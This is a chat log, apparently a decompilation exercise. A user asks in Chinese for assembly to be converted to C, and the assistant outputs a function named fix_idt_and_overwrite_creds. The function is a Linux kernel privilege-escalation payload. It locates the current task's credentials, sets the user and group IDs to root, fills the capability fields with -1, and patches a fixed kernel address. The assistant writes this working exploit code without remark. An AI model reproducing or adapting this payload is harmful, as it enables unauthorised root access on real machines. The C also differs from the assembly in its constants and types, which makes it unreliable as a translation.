user: 请将这段汇编代码片段转换成等效的C代码：

```asm
<fix_idt_and_overwrite_creds>:
  endbr64
  push   %rbp
  mov    %rsp,%rbp
  sub    $0x50,%rsp
  mov    %fs:0x28,%rax
  mov    %rax,-0x8(%rbp)
  xor    %eax,%eax
  movl   $0x98ff2,-0x20(%rbp)
  movl   $0xe57eb,-0x1c(%rbp)
  movl   $0x131fe4,-0x18(%rbp)
  movl   $0x17e7dd,-0x14(%rbp)
  lea    -0x20(%rbp),%rax
  and    $0xffffe000,%eax
  cltq
  mov    (%rax),%rax
  mov    %rax,-0x40(%rbp)
  mov    -0x40(%rbp),%rax
  mov    %eax,%edx
  mov    $0x24,%eax
  mov    %eax,%ecx
  sar    %cl,%edx
  mov    %edx,%eax
  mov    %eax,-0x44(%rbp)
  movq   $0x4c7f9,-0x38(%rbp)
  mov    -0x38(%rbp),%rax
  movl   $0xffffffff,(%rax)
  movl   $0x0,-0x50(%rbp)
  jmp    L89
L148:
  mov    -0x50(%rbp),%eax
  cltq
  lea    0x0(,%rax,4),%rdx
  mov    -0x40(%rbp),%rax
  add    %rdx,%rax
  mov    %rax,-0x30(%rbp)
  mov    -0x30(%rbp),%rax
  mov    (%rax),%eax
  cltq
  mov    %rax,-0x28(%rbp)
  mov    -0x30(%rbp),%rax
  mov    (%rax),%edx
  mov    -0x30(%rbp),%rax
  add    $0x4,%rax
  mov    (%rax),%eax
  cmp    %eax,%edx
  jne    L95
  mov    -0x30(%rbp),%rax
  mov    (%rax),%eax
  mov    $0x24,%edx
  mov    %edx,%ecx
  sar    %cl,%eax
  cmp    %eax,-0x44(%rbp)
  jne    L95
  movl   $0x0,-0x4c(%rbp)
  jmp    L53
L158:
  movl   $0x0,-0x48(%rbp)
  jmp    L8
L77:
  mov    -0x48(%rbp),%eax
  cltq
  lea    0x0(,%rax,4),%rdx
  lea    -0x20(%rbp),%rax
  add    %rdx,%rax
  mov    (%rax),%edx
  mov    -0x4c(%rbp),%ecx
  mov    -0x48(%rbp),%eax
  add    %ecx,%eax
  cltq
  lea    0x0(,%rax,4),%rcx
  mov    -0x28(%rbp),%rax
  add    %rcx,%rax
  mov    (%rax),%eax
  cmp    %eax,%edx
  jne    L115
  addl   $0x1,-0x48(%rbp)
L8:
  cmpl   $0x7,-0x48(%rbp)
  jle    L77
  movl   $0x0,-0x50(%rbp)
  jmp    L157
L116:
  mov    -0x4c(%rbp),%edx
  mov    -0x50(%rbp),%eax
  add    %edx,%eax
  cltq
  lea    0x0(,%rax,4),%rdx
  mov    -0x28(%rbp),%rax
  add    %rdx,%rax
  movl   $0x0,(%rax)
  addl   $0x1,-0x50(%rbp)
L157:
  cmpl   $0x7,-0x50(%rbp)
  jle    L116
  movl   $0x0,-0x50(%rbp)
  jmp    L31
L120:
  mov    -0x4c(%rbp),%eax
  lea    0x9(%rax),%edx
  mov    -0x50(%rbp),%eax
  add    %edx,%eax
  cltq
  lea    0x0(,%rax,4),%rdx
  mov    -0x28(%rbp),%rax
  add    %rdx,%rax
  movl   $0xffffffff,(%rax)
  addl   $0x1,-0x50(%rbp)
L31:
  cmpl   $0x9,-0x50(%rbp)
  jle    L120
  jmp    L151
L115:
  nop
  addl   $0x1,-0x4c(%rbp)
L53:
  cmpl   $0x13,-0x4c(%rbp)
  jle    L158
  jmp    L71
L95:
  nop
L71:
  addl   $0x4,-0x50(%rbp)
L89:
  cmpl   $0xf9f,-0x50(%rbp)
  jle    L148
L151:
  mov    -0x8(%rbp),%rax
  sub    %fs:0x28,%rax
  je     L94
  call   <__stack_chk_fail@plt>
L94:
  leave
  ret
```

assistant: ```c
void fix_idt_and_overwrite_creds() {
  int i, j, k;
  uint64_t uids[4] = {((uint64_t)((0xababababLL << 32) ^ ((uint64_t)((2) * 313337)))), ((uint64_t)((0xababababLL << 32) ^ ((uint64_t)((3) * 313337)))), ((uint64_t)((0xababababLL << 32) ^ ((uint64_t)((4) * 313337)))), ((uint64_t)((0xababababLL << 32) ^ ((uint64_t)((5) * 313337))))};
  uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
  uint64_t kbase = ((uint64_t)current) >> 36;
  uint32_t *fixptr = (void *)((uint64_t)((0xababababLL << 32) ^ ((uint64_t)((1) * 313337))));
  *fixptr = -1;
  for (i = 0; i < 4000; i += 4) {
    uint64_t *p = (void *)&current[i];
    uint32_t *t = (void *)p[0];
    if ((p[0] != p[1]) || ((p[0] >> 36) != kbase))
      continue;
    for (j = 0; j < 20; j++) {
      for (k = 0; k < 8; k++) {
        if (((uint32_t *)uids)[k] != t[j + k]) {
          goto next;
        }
      }
      for (i = 0; i < 8; i++) {
        t[j + i] = 0;
      }
      for (i = 0; i < 10; i++) {
        t[j + 9 + i] = -1;
      }
      return;
    next:;
    }
  }
}
```